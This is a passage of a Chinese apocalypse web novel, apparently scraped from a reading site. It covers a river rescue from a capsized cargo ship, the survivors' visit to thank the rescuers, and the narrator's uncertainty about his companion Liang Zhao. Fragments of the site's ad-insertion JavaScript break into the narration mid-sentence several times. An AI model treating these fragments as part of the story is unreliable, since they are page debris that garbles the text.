他与一个长发女生完完全全地泡在驾驶室里,水位越来越高,没有任何出路,他们奋力拍打风挡,仅有一颗头勉强露出水面。 看见光源,两人愈发激动,拍打玻璃的动作更大了。 “别急!省点力气,我们想想办法,马上救你们出来!”担心两人力竭,顾孟然扯着嗓子朝驾驶室大喊一声。 PMMA玻璃隔音效果太好,对方显然没有听到,反倒更激动了。顾孟然心急如焚,扭头看向停在身旁的1号动力艇,询问梁昭的意见:“怎么办?爬上去试试门能不能打开?” 梁昭几乎想都没想,“不行,太危险。” 船体呈90度倾斜,船头甲板悬空,距离水面至少三四米。徒手爬上去已经很危险了,就算成功打开舱门,一层楼的垂直高度,他们没办法将两个没有着力点的成年人拽上来。 顾孟然大脑飞速运转,“那、那直接用油锯破风挡?” 不等梁昭回答,他自己又迅速否决:“不、不行,风挡一破,外面的水全灌进去了,稍微慢一点他们都会被淹死在里面。” 顾孟然自顾自地分析,梁昭却一直不出声。他觉得奇怪,抬头看了一眼,见梁昭正若有所思地看着恒荣盛货舱,不知在想些什么。 货舱,他难不成想清空货舱? 用柴油小船拖拉,尽最大可能让货舱露出水面,再清空舱内货物减少负重,确实有可能让恒荣盛重新浮出水面。 但问题来了。 柴油小船并非拖轮,它的动力不足以一口气将恒荣盛拖出水面。它顶多将严重倾斜的船体小幅度掰回来一点,可江水还在往下面拽,如若不及时卸掉货物,小船坚持不了多久。 除非……他们能在极短的时间内卸掉多半货物。 顾孟然集中注意力在空间里找了一圈,很遗憾,空间里没有机械设—— 等等,空间? 顾孟然瞬间醍醐灌顶,两手重重一拍,“梁昭梁昭,我有办法了!” “轰,轰隆——” 缆绳连接着恒荣盛,柴油小船加大马力,巨大的轰鸣响彻天际。 一艘不够再添一艘,两艘柴油小船持续拖拽,非人力所能撼动的恒荣盛居然真的一点一点调整回来。 还远远不够,90度勉强拽成60度,任凭柴油小船油门拧到底,恒荣盛纹丝不动。 到极限了,发动机冒着浓浓的黑烟,缆绳紧绷到极致,留 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 给他们的时间不多了。 顾孟然果断将两艘小船交给梁昭操控,自个儿飞快地从空间再掏出一艘小船,一把锋利的西瓜刀,风风火火地绕到货舱另一侧。 货舱上的篷布包裹性很好,船体都倾斜了90度,货物愣是没漏出去多少。顾孟然开着小船靠近,一西瓜刀劈下去才发现,货舱里装的居然是小麦。 篷布破开口子,江水裹挟着小麦,跟不要钱似的,“哗哗”地流向黄江。 顾孟然顾不上心疼,开着小船一路划过去,硬生生将整面篷布割成两半。 霎时间,江面下起了一场小麦雨,颗粒饱满的小麦漂浮在江面,吸饱江水又很快沉入水底。 速度还是太慢,短短几十秒,船体又往水里沉了一大截。顾孟然不再犹豫,果断伸手戳进小麦里,将货舱里的小麦收进空间里。 双管齐下,货舱里的小麦以肉眼可见的速度减少。不到一分钟,鼓鼓囊囊的篷布瘪了下去,眼看时机差不多了,顾孟然及时调转船头,分分钟与恒荣盛拉开了十几米的距离。 粗气都来不及喘一口,顾孟然迅速掏出对讲机:“梁昭梁昭,任务完成,可以开始了!” 对面很快传来回应:“收到,你先离远一点。” “放心吧,我人已经在十几米开外了。”顾孟然嘱咐道:“你也小心一点,注意安全。” “ok,开始倒计时,3、2、1!” “轰隆——” 距离太远,顾孟然眼前灰蒙蒙一片,什么也看不见。他能听到柴油小船持续不断的轰鸣声,像是发动机报废前的悲鸣,而后——“砰!” 一声巨响盖过所有噪音,江水“哗啦啦”地四处飞溅,顾孟然隔了十几米都免不了被溅上一身水。 听着像是成功了,顾孟然甩了甩脑袋上的水珠,驾驶柴油小船再次进入浓雾中。 循着声源与梁昭碰头,不出所料,1号动力艇的发动机已然彻底报废。来不及心疼,顾孟然快速把1号艇收进空间,让梁昭驾驶2号艇,匆匆赶往恒荣盛船头救人。 发动机的牺牲是值得的,恒荣盛保持平衡,重新浮出水面,注满水的驾驶室正“哗哗”往外排水。 费了九牛二虎之力登上甲板,顾孟然累得气喘吁吁。大气都没喘上一口,他又跟着梁昭连爬三层楼,终于成功抵达驾驶室门口。 可见度还在持续下降,贴着玻璃也看不清驾驶室里的情况。梁昭尝试开门未果,顾孟然掏出便携式油锯递给他,“要不直接——” 话还没说完,驾驶室紧闭的大门突然被人从里面打开。 仿佛开了泄洪闸,室内积水骤然朝门外涌来。无路可退,梁昭抓住顾孟然的胳膊往他身前一挡,自己被突如其来的江水浇了透心凉。 “救、救命,救救我弟……” 微弱的女声从室内传来,梁昭抹了把脸上的水,摸黑探进驾驶室。抓着胳膊的手依旧没有松开,顾孟然紧跟梁昭的步伐,拿出强光手电将昏暗的驾驶室照亮。 门一开,室内江水排出大半,仅有地面残留少量积水。 朝他们呼救的长发女生狼狈瘫坐在门边,一只手悬在半空中,保持着开门的动作,大口大口地呼吸新鲜空气。 在水里泡太久了,她袒露在外的皮肤满是褶皱,面色苍白如纸,不见一丝血色。 而她身旁,昨晚与顾孟然侃天说地的年轻男生平躺在地,早已不省人事。积水没过他半个身体,他的头发被女生紧紧攥在手中,脑袋得以露出水面。 15. 第 15 章 * 不幸中的万幸,男生溺水时间不算太长,虽然人暂时失去意识,陷入昏迷,但他胸口上下起伏,尚有平稳的呼吸。 梁昭与顾孟然配合,一个抱身体一个抱腿,将人从湿漉漉的驾驶室抬到门口甲板上。 心肺复苏不能随便乱做,男生无反应有呼吸,顾孟然便与梁昭配合,一个抱腿一个抱身体,将人从湿漉漉的驾驶室转移到门口甲板,让他保持侧卧。 条件不允许,顾孟然也没时间洗手了,梁昭将人扶稳后,他快步绕到男生脑袋边上,直接上手探入男生的口鼻,替他清理异物。 只用了两三分钟,一声轻咳打破甲板凝重且压抑的氛围。不省人事的男生幽幽转醒,随即剧烈咳嗽起来。 梁昭轻轻拍打他的后背,污水随着咳嗽从口鼻涌出。 缓过劲儿的女生听到动静,猛然起身凑到男生跟前,酝酿已久的眼泪再也憋不住了,簌簌地往下掉,“星河,星河你没事吧?好些了吗?” “咳、咳咳咳!” 回应她的又是一阵剧烈咳嗽。 在水里泡了太长时间,许星河明显有些失温,身体不停地颤抖。三个人找不出一件干衣服,顾孟然略一寻思,索性让女生侧躺在甲板上将他抱住。 体温也是温,效果非常显著。 女生躺下将他紧紧抱住,约莫过了半分钟,咳嗽声稍缓,许星河缓缓睁开眼。 鬼门关里走一遭,许星河胸口剧烈起伏,大口大口地呼吸新鲜空气。睁眼看到满脸泪痕的许星冉,他嘴唇翕动,想开口说话却迟迟没能发出声音。 察觉他的意图,许星冉掌心轻抚他的脑袋,低声安抚:“没事没事的星河,姐没事,先别说话,先缓一缓。” 劫后余生与亲人相拥的画面总是令人动容,尽管顾孟然上辈子早已看过无数次。 在恒荣盛耽搁的时间太久了,顾孟然还惦记着周围其他遇险船只,果断给梁昭递了个眼神,连招呼也没有打一声,悄无声息地退场。 “谢谢,谢谢你们!” 抬脚刚迈出去一步,清脆的女声蓦地从身后传来。声音带着哭腔,略微有些沙哑,但语气格外真挚,蕴藏着没有及时道谢的歉意。 顾孟然回头朝她一笑,“不客气。” 说完两人转身就走,许星冉忙地追问:“我叫许星冉,我弟弟叫许星河,你们也是跑船的对吧?你们的船在这附近吗?回头、回头等我弟弟缓一点,我带他登门道谢!” “不用了,照顾好他。”顾孟然摆摆手,头也没回道。 从恒荣盛下来,顾孟然与梁昭驾驶柴油动力艇全速航行,直接化身为海事巡逻,对安昌港水域展开地毯式搜索。 所幸他们来得还不晚,在孟高阳的远程指挥下,柴油艇朝指定方位航行不到五分钟,浓雾笼罩的锚地传来一声声绝望而无助的呼救。 “救命,救命!” “救救我们,我们在这里!” “有人落水,河山达快沉了,有没有人帮帮忙!” …… 人力非常有限,遇险船舶无暇兼顾,顾孟然与梁昭驾驶柴油艇来回穿梭在江面,全力搜寻落水人员,一刻都不敢停歇。 前后耗时近三个小时,22人成功获救,其中包括两名年仅五岁的船员家属。而倾覆沉没的船只在8艘左右,连同风翼号在内,锚地里幸免于难的船舶仅有4艘。 更令人遗憾的是,老爷子通过雷达信号初步统计,安昌港内停泊船只约16艘,按照每艘船最低配员标准,实际人数应该有48人左右。 这意味着——失踪船舶约4艘,失踪人员高达20人。 天色渐暗,沸腾的江面逐渐恢复平静。满载柴油小船不知道疲倦地穿梭浓雾中,船上哀嚎遍野,痛彻心扉的抽泣声清晰可闻。 看到太多悲伤与绝望,亦收到很多感谢,顾孟然早该麻木的内心却很不是滋味,一种深深的无力感油然而生。 但就算如此,他没有同情心泛滥将获救人员带上风翼号,而是与梁昭一趟又一趟,将“无家可归”的船员及家属陆续送上码头。 有多大能力办多大事,顾孟然对自己有清楚的认知。 这才刚开始,生死各有命,他只能尽力护住自己和家人,他当不了救世主,也救不了所有人。 忙忙碌碌大半个下午,顾孟然与梁昭驾驶着柴油小船往回开,赶在天彻底黑下来之前回到风翼号。 衣裤湿了又干,干了又湿,顾孟然筋疲力尽。回房洗了个冷水澡,换了身衣服,他直接往床上一躺,累得连手指头都懒得动一下。 心里惦记着事儿,躺也躺不安宁。 风翼号甲板涉水,机舱有没有受影响还不得而知。只躺了五分钟,顾孟然拖着疲惫的身体艰难起身,准备去驾驶室找外公问一问情况。 然而他刚走到门口,还没摸上门把手,敲门声响了。 “梁昭?” 老爷子可没有敲门的好习惯,顾孟然理所当然地认为是梁昭。但房门一开,梁昭和外公竟同时出现在门口,顾孟然眉头一皱,神情随之凝重起来。 “怎么了?出什么事了吗?” “没,没啥事。”老爷子越过梁昭侧身挤进门,走到床边坐下,“机舱的确进了点水,我处理得及时,不用担心。” 顾孟然眉头舒展,目光游离在梁昭与外公之间,“那你们这是……?” “没事吧?”梁昭没急着进屋,站在门口目不转睛地把顾孟然盯着,眼底隐隐闪过一丝担忧。 “事儿?什么事?”顾孟然一头雾水,茫然地眨眨眼。 “回来的时候——” “你先进来,进来说。” 顾孟然侧身让出位置,梁昭快步走进卧室,挨着老爷子落座,接着刚才的话说:“回来的时候见你情绪不高,心情不太好? ” 老爷子没说话,看那飘忽的眼神似乎与梁昭来意一致。 两双眼睛一瞬不瞬地盯着他,顾孟然反倒松了一口气,紧绷的神经渐渐放松,略显苍白的面庞重现血色。 火山如期喷发,特大地震如期而至,尽管早有心理准备,风翼号 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 亦幸免于难,但这场声势浩大的灾难带来的危害仿如巨石压胸,沉甸甸的,让人喘不过气。 心情自然是非常不美好的,看着两人关切的眼神,顾孟然勉强扯出一个干巴巴的笑,故作轻松道:“我是什么很脆弱的小孩吗?心情不好过一会儿就好了嘛,还特意跑过来看我。” 不开口还好,他这话一出,孟高阳肩膀一沉,像是肩头突然落下千斤重的担子,整个人肉眼可见地消沉了下去。 “怎么了?”顾孟然心头一紧,快步走到外公身前。 “是外公错了。”老爷子摇头叹气,垂在身侧的手无意识摩挲,历经岁月的眉眼被浓浓的愧疚笼罩,“那会儿你们一下船我就后悔了,江上浪那么大,你说万一……哎!” “今时不同往日,如今不该再去讲什么江湖道义。你的梦开始应验了,往后的日子一天只会比一天艰难。我一把老骨头倒无所谓,活够本了,但你俩半大点的孩子,人生才刚刚开始,这好人不当也罢。” 乐观的快乐老头蔫儿巴了,心态发生了断崖式变化。 顾孟然终于意识到问题的严重性,赶忙解释道:“外公你别多想,我们这不是好好地回来了嘛,我心情不好是因为累,休息休息就——” “我一时善心大发让你们去冒险,让你们去承受这些,未免太自私了。”老爷子耷拉着脑袋,情绪前所未有地低迷,“是外公不对,不会再有下一次了。” 这样下去可不行。顾孟然二话不说直接往外公身前一蹲,枕着他的膝盖低声道:“外公,我们今天救了二十多个人,其中还有两个小孩。 外公你知道吗,那种感觉很奇妙,在他们绝望的时候施以援手,给他们带来希望,最后只需要一句简单的谢谢,好像一切都是值得的。” 一个人好像少点说服力,顾孟然不动声色地朝梁昭眨眨眼:“对吧梁昭?” 梁昭心领神会,轻轻“嗯”了一声。 孟高阳并不买账,一边叹气一边摇头:“危险,危险啊傻小子!以后灾难一茬接一茬,救得过来吗?拿你们的安危去换别人的,我宁愿铁石心肠,见死不救!” “我们又不是傻子,当好人也要分情况的嘛。”顾孟然拍了拍外公的膝盖,一本正经道:“人倒在脚边拉一把无妨,但让我冒着生命危险去救一个陌生人,外公,我真没你想得那么善良。” 这番话并非全是为了开解外公,切身经历过一次末世,见到过太多人性险恶,顾孟然的善意与同理心早在一次次孤立无援中磨没了。 但外公不一样,外公是个好人,真正意义上的好人,他年轻跑船时因救人遭过一笔巨额罚款,却依旧没能阻挡他乐于助人的步伐。 他顾及外孙的安危,嘴上说着见死不救,可如果在力所能及的情况下,真有一个人死在他面前,恐怕他寝食难安,这辈子都过不了心里那一关。 生逢灾年,人总要为生存舍弃点什么。 良知、善意、人性或是其他。 活着与苟活有很大区别,在能力范围之内,顾孟然愿意维护外公的善良。 16. 第 16 章 * 一场特大地震切断了通信讯号,风翼号彻底与外界失去联系。前方水域状况不明,虽有雷达和卫星导航,但地震后的黄江危机四伏,饶是经验丰富的老船长也不敢贸然前行。 于是三人经商议后决定,留在锚地再休整一晚。 没心情做晚饭,晚上又是随便对付一顿,但就是在这种心情沉重,神经极度紧绷的关键时刻,顾孟然洗完澡往床上一躺,睡得那叫一个不省人事。 一觉睡到自然醒,外边天色依旧昏暗,彷如深更半夜。 迷迷糊糊坐起身,看了眼床头柜上的电子时钟顾孟然才发现,时间居然已经来到了早上九点。 雾太浓了,黄雾被大量火山灰染成了黑沉沉的墨色,好似一团经久不散的乌云,携着浓浓的压迫感弥漫在天地间。 看天色来判断时间显然行不通了,考虑到今后手机也派不上用场,洗漱完,顾孟然在空间里翻翻找找,拿出三块户外多功能手表。 外公和梁昭没有睡懒觉的习惯,估计早就起了,去了趟驾驶室没找到人,顾孟然果断掉头前往客厅,丝毫没有去敲房门的打算。 不出所料,外公和梁昭的确一个在客厅,一个在厨房,但客厅原本无人问津的沙发上,此刻却多出两个人来。 “我就知道是你!” 顾孟然半只脚刚踏进客厅,端坐在沙发上的青年噌地站起身,激动得两眼放光。 青年正昨天溺水昏迷的许星河,一夜过去了,他明显恢复得差不多了,面色仍有些苍白,但看上去精神气十足。 他姐姐许星冉坐在一旁,与孟高阳有说有笑地聊着天,见顾孟然走进客厅,她也忙地站起来,笑着打招呼:“早上好,冒昧找上门,希望没有打扰到你们。 昨天星河情况不太好,没能好好跟你们道谢。今天过来也是为了让这小子见见他的救命恩人,当面跟你们致谢。” 完全不给顾孟然开口的机会,许星冉抬起胳膊撞了下许星河,“说话,哑巴了?” “哦哦。”许星河如梦初醒,咧着嘴朝顾孟然笑。随后他弯腰俯身一气呵成,面向顾孟然直接就是一个90度鞠躬。 “谢谢!谢谢你们救了我家恒荣盛,谢谢你们救了我和我姐。救命之恩无以为报,以后你和梁哥就是我异父异母的亲哥,孟爷爷就是我亲爷爷!” 这阵仗,这大嗓门。 顾孟然惊呆了,一时间忘了说话。 老爷子也被吓了一跳,急忙伸手去扶许星河,说话都结巴了:“这孩子,倒也、也也不用行这么大的礼。” “咳。” 许星冉故作镇静轻咳一声,伸手扶许星河的起来时,趁机在他胳膊上拧了一把,咬牙切齿道:“来之前跟你说没说过?正经点,别整这些有的没的,脸都让你丢尽了。” “怎么就丢脸了?这是我们年轻人道谢的方式,你不懂。”许星河揉了揉胳膊,笑吟吟地看向顾孟然,“是吧哥们?” 人不可貌相,长得斯斯文文,实际却是实打实的社牛。 顾孟然从震惊中缓缓回过神,礼貌“嗯”了一声。 “该说不说,我们真有缘啊!我姐说是两个帅哥救了我们,我一下就想到了你!”许星河话痨属性点满,顾孟然一开口他就跟打了鸡血似的,叭叭个没完。 “我记得风翼号就停在我们旁边,想来碰碰运气,结果雾太大了,我们开着柴油艇找了好半天才找过来。功夫不负有心人啊,孟爷爷说你们昨天确实下去救人了我就知道,这一趟没白跑。” 相比郑重其事地道谢,顾孟然的确更喜欢许星河这种年轻人的处事方式。不会让彼此尴尬,也不会增加别人的心理负担,就当交个朋友。 只是如今不太适合交朋友,姐弟俩显然还未登陆,还没意识到这场地震真正的危害性。高楼大厦崩塌,文明秩序瓦解,他们应该计划如何活下去,而不是在这里道谢交朋友。 那天的顾孟然有多热情,今天的顾孟然就有多冷淡。 他毫不在意客人等了多久,也没有坐下来陪聊的打算,站在通道口不曾走近,冷冷道:“没有跑这一趟的必要。这场地震震级非常高,岸上的情况比你们想象中更严重。多囤物资,多做打算,我们准备离开了,就不留你们吃饭了。” 对方态度发生了翻天覆地的变化,许星河却没空在意。 他无视对方送客的意图,厚着脸皮问道:“你们和家里人联系上了?手机能借我们用用吗?我昨天晚上醒过来就打不通电话,还不知道什么情况,家里人也联系不——” “现在没信号了,尽快回去看看吧。”顾孟然打断他。 许星河:“恒荣盛主机进水,操作系统完全失灵了,我们估计一时半会走——” “不是还有柴油艇吗?” 顾孟然再次打断他的话,轻轻叹了口气,“这样说吧,如果你们孑然一身,无牵无挂,建议你们修好恒荣盛,趁早上岸收集物资,尽量往黄江上游走。 当然了,如果岸上还有重要的亲人,建议你们立刻出发,或许还能与亲人汇合。船上的燃料、食物能带全带上,世道乱了,秩序崩塌,这些重要物资以后有钱也买不到。” 一番话把姐弟俩说得心惊胆战,震级很高是没错,他们江面上也能感受到。可秩序崩塌,有钱也买不到物资? 未免太过危言耸听。 “你开玩笑的吧哥们?”许星河不笑了,一瞬不瞬地盯着顾孟然,试图从他脸上找出破绽。但很遗憾,顾孟然神情凝重,没有一点开玩笑的意思。 “其实很好证明的不是吗?”顾孟然对上许星河的视线,一字一顿:“现在你们就可以上岸看一看。” 话都说到这个份上了,信与不信自行判断。 不怕一万就怕万一,许星冉留了个心眼,多问了一嘴:“之前你提醒我们会有地震,那之后呢?就算房屋尽数倒塌,人类文明秩序也不可能一夕崩塌,你是不是知道点什么?” 愿意相信就不算白费口舌,顾孟然点点头,一本正经地胡编乱造:“说来也巧,我还有一个亲戚在气象局工作,昨天地震后我们联系上了,他告诉我,不只是地震,昨天一天之内,全国各地的活火山几乎全部喷发。” “火山?” 好歹是个准大学生,许星河一听就听出了不对劲,轻声反驳:“昨天我确实听到一声巨响,但活火山一般在人烟稀少的地方,危害不可能比地震影响范围还大啊。” 许星冉:“别打岔,听他说完。” 顾孟然继续道:“地震是直接破坏,对城市、对人的影响确实更大一些。但所有火山同时喷发,火山灰和气体对环境的危害——” “我知道了,温室效应!”许星河突然蹦出一句。 “没错,用不了多久,极端高温天气将会席卷全球。” 极端高温…… 想想许星河头皮都麻了,莫名起了一身鸡皮疙瘩。不过他很快又发现了疑点,追着顾孟然问:“那你为什么让我们往上游走?高温天气也不至于一直待在江里吧?” 累了,起了个大早水都没喝一口,顾孟然说得口干舌燥。 只想尽快把人送走,顾孟然不再绕圈子,也不再解释缘由,直截了当道:“雨,高温过后会有一场强降雨,一场持续很长时间的雨。让你们留在黄江不是为了避暑,是想让你们尽量保住恒荣盛,以免陆地消失的时候,无处安身。” 毫不在意丢下怎样一枚重磅炸弹,说完,顾孟然快步走到沙发旁,将户外手表递给外公,扭头便走向厨房。 两个电磁灶都架着锅,厨房里热气腾腾。其中一口似乎正蒸着包子,浓郁的肉香随蒸汽弥漫在半空中,一进门就能闻到。 而梁昭独自站在灶台前。拿着勺子在另一口砂锅里不停翻搅,他看似认真专注地做饭,目光却透过玻璃停留在黑沉沉的江面,连顾孟然走近都没有发现。 “好香啊,煮的什么粥?” 一声轻呼将梁昭唤醒,他侧身垂眸,一颗毛茸茸的脑袋贴着他的胳膊探了出来。 微卷的黑发轻拂手臂,白皙修长的后颈一览无余。梁昭短暂地愣怔了一瞬,不着痕迹地往旁边挪了半寸,低声回答:“瘦肉粥。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “没加皮蛋吗?少了点灵魂啊。”顾孟然没察觉到梁昭的小动作,一门心思惦记着吃,探头探脑地往锅里瞅。 梁昭错开视线盯着砂锅,“下次给你做。” 顾孟然应了一声,眼睛终于从砂锅里挪开,抬手都快捂热乎的户外手表递给梁昭,“喏,给你的。以后手机估计用不上了,手表看时间方便一点,洗澡也不用摘,防水的。” “准备得还挺充分。”梁昭接过手表端详片刻,随即戴在左手手腕上。 顾孟然眼巴巴地望着他,“好看吗?喜欢吗?” “好看。谢谢,我很喜欢。” “一家人不说两家话,谢啥。” 厨房与客厅间隔不远,许久未听到动静,顾孟然又出现在这里,梁昭猜到了,但还是多问了一句:“他们走了?” “应该走了吧,反正话说完了我就走了。”顾孟然无奈地耸耸肩:“该说的不该说的都说了,预防针打得相当到位,希望他们能好好活下去。” 想到顾孟然前两天说过的话,梁昭又问:“没想过让他们留下?” “为什么要留?”顾孟然下意识反问,说完他才想起来,自己前几天好像确实提过这一茬。 水浅道窄,风翼号目前不能开启自动驾驶,驾驶室必须时刻有人值班。船上总共就三个人,日以继夜地三班倒,顾孟然倒还好,主要担心外公年纪大了,身体吃不消。 所以他前几天和梁昭、外公商量,反正风翼号这么大,如果途中遇到会开船的、人品没问题的船员,且对方愿意的情况下,他们要不要考虑“收编”几个人来帮忙开船。 “哎!” 遇到合适的人不容易,顾孟然心中仍有顾虑。 他叹了口气,闷声与梁昭吐槽:“他们确实合适,人挺好的,相处起来不费劲。但人家摆明了有牵挂的,刚刚找我借手机联系家里人,估计一会儿就得上岸去了。” “而且吧,我也很矛盾,船上多几个人虽然有风险,但总体来说利大于弊,可我一想到让陌生人长期住在风翼号,身体里的每一个细胞都在抗拒。” 梁昭明白他的顾虑,若有所思地点了下头,“长此以往住在一起,空间不好隐瞒。灾后不比灾前,万一遇到心术不正的人,你和风翼号的处境会非常危险,必须多留点心。” 说到点子上了,顾孟然连连附和:“是吧!主要我们就三个人,遇到坏人可以说是毫无还手之力!空间是我们的家底子命根子,除了你和外公,我不想让第三个人知道。” “就这么信任我?” 聊这个话题太过沉重,梁昭有些刻意地岔开话题。 顾孟然一带就跑偏,“肯定啊,你救过我的命。” “呃,梦里,我是说梦里。” 梁昭低低一笑,“在梦里,我是一个什么样的人?” “热心肠、不爱说话但心地善良、做饭好吃……暂时想不到了,跟外公差不多吧。你笑什么呀。”说到一半,梁昭笑容更甚,顾孟然停下来看着他。 “我可能和你梦得不太一样。” “哪不一样?” 粥好了,梁昭转身关掉电磁灶,将饭勺放回锅中。在顾孟然看不见的角度,他眼底笑意渐渐淡去,被一抹化不开的愁思所替代。 迟迟等不到回答,顾孟然正欲追问,余光无意间扫过旁边垃圾桶,他大脑有一瞬间的空白,整个人愣住。 垃圾桶里,花花绿绿的塑料袋印着硕大的产品名称:速食冻干瘦肉粥、半成品鲜肉小笼包…… 问题来了,上辈子那个厨艺精湛,变着花样给他做饭的梁昭,怎么就沦落到煮粥都要煮速食的地步了呢? 不对,煮速食也可能是图方便。 顾孟然竭力说服自己,思绪却不受控制地飘远,忽然联想到昨天。 昨天外公提出救人的时候,梁昭第一反应是不救。 虽然他给出的解释很合理,让人无法反驳,但上辈子顾孟然危在旦夕之时,梁昭为救他多次涉险,有一次甚至差点把命都搭上。 上辈子到这辈子,同一个人的变化会这么大吗? 17. 第 17 章 * 江风起,浪翻涌,浓雾笼罩的江面阴森诡异,窥不见一丝光亮,仿佛身处无间地狱,连空气都无比令人窒息。 “嗡嗡嗡嗡嗡——” 发动机持续运转,巨大的嗡鸣如雷贯耳。风翼号重新启程,穿过层层叠叠的雾瘴,宛如漂泊在大海的孤舟,乘风破浪,一路向东。 出发一个多小时,风翼号始终保持均速平稳航行,负责值班的孟高阳放松下来,靠坐着船长椅休息,目光缓缓从船舵挪动到旁边折叠椅。 驾驶台旁,本应在卧室休息的顾孟然心血来潮,支了把折叠月亮椅在驾驶室里。 他优哉游哉地窝在包裹性极好的月亮椅上,旁边还摊了一张折叠桌,桌上摆着零食水果,整得跟郊游野餐似的。 老爷子多少有点无语,说他会享受吧,放着好好的卧室不躺,跑来驾驶室折腾。说他放心不下风翼号吧,他眼神呆滞地望着天花板,思绪早就不知道飘哪去了。 忍不了一点,别人值班他在这度假,这亲外孙怎么看怎么碍眼。孟高阳轻咳一声,不满地训斥道:“乱七八糟的摆出来又不吃,赶紧收拾收拾回房间睡去,你晚上不是还值夜班吗?” 神游太空的顾孟然充耳不闻,望着天花板一动不动。 “孟然,顾孟然!你小子耳朵让天狗啃了?” “啊?”顾孟然如梦初醒,四周环视一圈,茫然看着老爷子,“外公你在叫我?” 孟高阳:“……这屋里就我俩,除了我还能有谁?” 几句话的功夫,顾孟然又走神了。 这小子吃完早饭跟丢了魂似的,心里指定装着事儿,孟高阳也不急着撵人了,甚至后背都挺直了,放缓语气充当起关心孩子的长辈。 “孟然,是不是遇到事了?看你愁眉苦脸的外公担心得很,有什么事儿和外公说说,别一个人憋在心里。” 这话一出,顾孟然长长叹了一口气,旋即坐起身。 他看起来纠结得很,嘴唇翕动,欲言又止。 过了好半晌,顾孟然余光扫过果盘里晶莹剔透的葡萄,哑着嗓子艰难道:“外公,酒越陈越香,人也会这样么? 一个十指不沾阳春水的人经过学习,可能会成为一个大厨,但一个铁石心肠的利己主义,有没有可能会变成一个心地善良、舍己为人的善人呢?” “嘶。”老爷子倒吸一口凉气,捏着下巴若有所思道:“这个还是有点难度哦。人都是自私的,好人变坏容易,坏人变好……除非良知觉醒。” 顾孟然不说话了,眼神飘忽无处安放,看起来愈发迷茫。 老爷子清了清嗓子:“也不是没可能,人是复杂多样性的,或许他经历了强烈的情感冲击,幡然醒悟,下定决心做个好人也是有可能的。” 外公的话乍一听很有道理,实际上毫无参考性。 梁昭根本不算坏人,拿好坏来对比本身就很不恰当。 想不通,顾孟然烦躁地抓了把头发。 他的反应孟高阳看在眼里,老爷子面上不显,心里愈发好奇。见他不打算继续这个话题,孟高阳顾不上隐藏自己的好奇心,试探着问道:“这个他……是梁昭?” 一石激起千层浪,顾孟然瞪大了双眼,猛地一激灵,“怎么可能!外公你别瞎说,梁昭他、他才不自私。” 这反应,实锤了! 老爷子哈哈一笑,无视顾孟然凶狠的眼神,直截了当道:“别遮遮掩掩的,说吧,是不是梁昭性格和你梦里不太一样?” 猜得也太准了,顾孟然来不及震惊,还想挣扎一下,“外公你说什么啊,我跟梁昭多少年的老朋——” “我不了解他,我还能不了解你?”孟高阳哼笑一声,眼神讳莫如深,“就你们平时的相处,像是老朋友吗?半生不熟的,顶多算多年不见的老同学,还没交情的那种。” 疑似失去所有手段和力气,顾孟然如霜打的茄子,瞬间蔫儿了下去,“好吧,外公你猜得没错。” 老爷子得意地笑了笑,“展开说说,外公给你分析。” 解不开疑惑憋得慌,反正外公也猜到了,顾孟然索性略去自己残疾毁容,大致将梁昭在“梦里”如何舍命救他,如何待他好和外公说一遍。 本以为外公又要和他分析一通,不料话音刚落,老爷子立马“啧”了一声,用一种看傻子似的眼神紧紧把他盯着。 “怎么了吗?”顾孟然心里咯噔一声。 “我发现你小子有点迟钝。你一直在纠结梁昭性格变化大,但你有没有想过,或许他从来没变过,问题其实出在你身上。” 顾孟然一头雾水:“哈?” 老爷子恨铁不成钢,无奈摇头解释:“这都还不懂?明显地区别对待啊!别人是死是活他毫不在意,你遇到危险他拼尽全力。” “你难道就没想过,那小子他也喜欢你。” * 和老爷子聊完,顾孟然几乎一天一夜没合眼。 白天想事情睡不着,晚上值班操舵睡不了,掐着胳膊硬熬完一个通宵,顾孟然困得意识模糊,走路都开始打踉跄。 不过独处让他有充分的时间思考,对于外公昨天的猜测,顾孟然得出的结论是——不可能,绝无可能。 梁昭独自一人在残酷的末世中挣扎,孤独了,想有个说说话的同伴,所以救了他,留下他。待他好也只是顾念同窗之情,不想让他放弃生的希望,好好活下去。 当然了,这都不是最主要的。让顾孟然笃定梁昭不可能喜欢他的主要原因——梁昭曾经亲口说过,他喜欢女生。 重活一世,纠结这些没有必要。 不论缘由,不论性格,梁昭还是梁昭,永远是他的同伴和家人。 时间跳转到七点半,距离“下班”还有半个小时。 顾孟然打着哈欠从椅子上下来,扭扭脖子,舒展双臂。 一套活动筋骨舒展运动才做到一半,身后忽然传来一声轻咳,顾孟然倏地扭头看去,只见梁昭端着托盘倚在驾驶室门口,不知道看了多久。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 四目相对,空气有一瞬间的停滞,但下一瞬,顾孟然鼻尖微动,一股熟悉的清香扑鼻而来。 “你还做了早饭?”饥饿战胜了尴尬,顾孟然收起压到一半腿,迎着梁昭快步走去。 梁昭先他一步进门,将手中托盘放在驾驶台上。 顾孟然凑近一看,和昨天一样,还是粥和包子,不过这两碗粥……未免也太奇怪了点。 黄色黏状液体掺杂着颗粒分明的黑色不明块状物体,与其说是一碗粥,不如说是一碗糊糊。闻着倒是挺香的,隐约带点焦香味,但卖相属实一言难尽。 顾孟然看了半天也没看出是什么粥,茫然望向粱昭,“玉米糊吗?我还闻到肉味儿,肉粒玉米糊?” “不是。”梁昭不自然地摸了摸鼻尖,声音小得可怜,“皮蛋瘦肉粥,我自己煮的,火候控制得不好,稍微有点糊。” 皮蛋瘦肉粥?这谁能看得出来! 没见过黑暗料理的顾孟然惊呆了,但听到粱昭自己煮的,他微微一怔,不由自主地想到外公昨天的胡言乱语。 梁昭在意他的话,昨天随口一提,今天皮蛋瘦肉粥就端上来了。顾孟然也没自恋到认为梁昭一定对他有想法,只是觉得奇怪,好奇心都快溢出来了。 “是有点太煳了,先别吃了,我去重新弄点吃的。” 长时间的沉默给了梁昭错误信号,他端着托盘转身就走,顾孟然恍然回过神,及时将他拦住。 